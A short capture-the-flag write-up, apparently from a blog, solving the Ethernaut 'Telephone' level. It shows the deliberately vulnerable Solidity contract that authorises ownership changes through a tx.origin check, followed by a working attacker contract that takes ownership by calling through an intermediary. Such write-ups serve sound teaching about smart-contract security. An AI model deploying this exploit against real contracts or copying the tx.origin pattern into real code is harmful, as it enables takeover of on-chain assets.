Published on

Ethernaut - Telephone - Solution

Authors

Ethernaut - Telephone - Solution

Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) {
            owner = _owner;
        }
    }
}

Solution

To claim ownership of the above contract, we need to call changeOwner() while ensuring that tx.origin != msg.sender. This is easily achieved by calling changeOwner() from the following attacker contract rather than our externally owned account:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract TelephoneAttacker {
    address public immutable VICTIM;

    constructor(address victim) {
        VICTIM = victim;
    }

    function attack() external {
        (bool success, ) = VICTIM.call(abi.encodeWithSignature("changeOwner(address)", msg.sender));
        require(success, "Attack failed");
    }
}